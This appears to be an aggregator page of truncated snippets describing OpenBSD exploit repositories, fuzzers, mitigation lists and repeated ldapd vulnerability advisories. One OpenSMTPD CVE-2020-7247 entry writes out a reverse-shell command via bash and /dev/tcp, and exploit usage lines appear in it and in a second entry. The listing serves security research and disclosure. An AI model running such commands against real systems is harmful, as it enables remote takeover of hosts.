Openbsd-Privilege-Escalation

Openbsd-Privilege-Escalation OpenBSDシステム上で特権昇格のプロセスを自動化するスクリプトです。CVE-2019-19520 xlockバイナリを悪用してそのsgidを取得し、CVE-2019-19522 authグループの権限を悪用してSkeyまたはYubikeyに鍵を追加することで、rootユーザーに昇格します。 Cコードは、元のPoC（https://www.openwall.com/lists/oss-security/2019/12/04/5）をほぼコピーしたものです。 CVE-2019-19522:...

sn0int

sn0int sn0int pronounced /snoɪnt/ is a semi-automatic OSINT framework and package manager. It's used by IT security professionals, bug bounty hunters, law enforcement agencies and in security awareness trainings to gather intelligence about a given target or about yourself. sn0int is enumerating...

team-teso

team-teso TESO-CVSは、2005年（ベルリン）にTHCの10周年記念パーティーTHCでのTHCの10周年記念パーティーでTHCに贈られました。 ここでは教育目的のみで公開されています。楽しんでください。 いくつかのアーティファクトはCVSでホストされたことはなく、時間の彼方に失われています: TESOのSSHエクスプロイト 多くの（ああ、本当にたくさんの！）OpenBSDエクスプロイト（OpenBSDに対する世界初のリモート0dayエクスプロイトを含む） Stacheldraht & Blitzkrieg とても多くの写真（ 証拠,cought cough...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

exploit_mitigations

Exploitation Mitigations The goal is to list exploitation mitigations added over time in various operating systems, software, libraries or hardware. It becomes handy to know if a given vulnerability is easily exploitable or not depending on exploitation mitigations in place. An example is the...

exploit_mitigations

익스플로잇 완화 기법 목표는 다양한 운영 체제, 소프트웨어, 라이브러리 또는 하드웨어에서 시간이 지남에 따라 추가된 익스플로잇 완화 기법을 나열하는 것입니다. 주어진 취약점이 적용된 완화 기법에 따라 쉽게 악용 가능한지 여부를 알 수 있게 됩니다. 다음은 예시입니다: 목차 지원 대상 동기 내 현재 환경에 완화 기법 X가 있나요? 마지막 말 지원 대상 현재 다음 운영 체제를 지원합니다: Microsoft Windows Linux Google Android Apple iPhone OS iOS OpenBSD FreeBSD Oracl...

naxsi

Project Status This is a project status update regarding Naxsi. As you may have noticed, the development of Naxsi has been stopped and the repository will be archived for historical reasons. This means that no new updates or bug fixes will be released for this version. However, if you wish to...

TriforceOpenBSDFuzzer

TriforceOpenBSDSyscallFuzzer 20160825 https://github.com/nccgroup/TriforceOpenBSDFuzzer Jesse Hertz [email protected] Tim Newsham [email protected] これは、TriforceAFL（すなわちAFLとQEMU）を使ってOpenBSD amd64のシステムコールファジングを実行するためのファイル群です。これを使用するには、TriforceAFL...

openbsd_ov1

OpenBSD TCP/IP オーバーフロー 最新の OpenBSD 7.2 でテスト済み 詳細: int ipdooptionsstruct mbuf m, struct ifnet ifp ... for ; cnt 0; cnt -= optlen, cp += optlen opt = cpIPOPTOPTVAL; if opt == IPOPTEOL break; if opt == IPOPTNOP optlen = 1; else if cnt cnt code = &cpIPOPTOLEN - uchar ip; goto bad; switch opt case...

local-exploits

ローカルエクスプロイト さまざまなローカルエクスプロイト CVE-2020-8793 opensmptd-makemap-lpe - Fedora 31 OpenSMTPD makemap のローカル root エクスプロイト。 コードの大部分は Qualys アドバイザリ（2020-02-24）から、 CVE-2020-8793 用に引用しています。 opensmtpd: 特権のない攻撃者による任意のファイルの読み取りは、情報漏洩または権限昇格につながる可能性があります fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6...

CVE-2026-41285-OpenBSD-v6daemons-go-brrr

CVE-2026-41285: 1パケットでOpenBSDのIPv6を停止させる ローカルネットワークからの1つの細工されたICMPv6パケットが、slaacd および/または rad を恒久的にハングさせます。誰かが手動でデーモンを再起動するまで、IPv6 SLAACアドレス自動設定は機能を停止します。認証不要、特権不要、ICMPv6ペイロードはわずか18バイトです。 | ---|--- CVE| CVE-2026-41285 Bug class| 整数アンダーフローによる無限ループ Root cause| NDオプションパーサーが len==0 をチェックせずに ndoptlen 8...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

The ldapd service in OpenBSD 7.8 (before errata 057) and 7.9 (before errata 021) contains a vulnerability where delegated BSD authentication results are incorrectly correlated using only the LDAP child process client file descriptor and LDAP message ID. This allows a remote attacker who can reach...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

EUVD-2026-90259

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

PT-2026-103524

Name of the Vulnerable Software and Affected Versions OpenBSD versions 7.8 through 7.8 before errata 057 OpenBSD versions 7.9 through 7.9 before errata 021 Description In the ldapd service, delegated BSD authentication results are correlated using only the LDAP child process client file descripto...

CVE-2020-7247

CVE-2020-7247 CVE-2020-7247 の PoC エクスプロイト OpenSMTPD 6.6.2 のリモートコード実行 OpenSMTPD 6.6.2 https://www.cvedetails.com/cve/CVE-2020-7247 テスト済み: OpenBSD 6.6 ペイロードのクレジット: Marco Ivaldi [email protected] 使用方法 リモート $ go run CVE-2020-7247.go -u 192.168.0.2 -p 25 -d example.org Linux を使用していない場合は、ソースコード内の ...

Astra Linux – Vulnerability in Linux 5.10, Linux, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: cfg80211: The PMK parameter is now passed as binary data, rather than hexadecimal data. It appears that the hexadecimal passphrase mechanism does not work on newer chips/firmwares e.g., BCM4387. There was actually...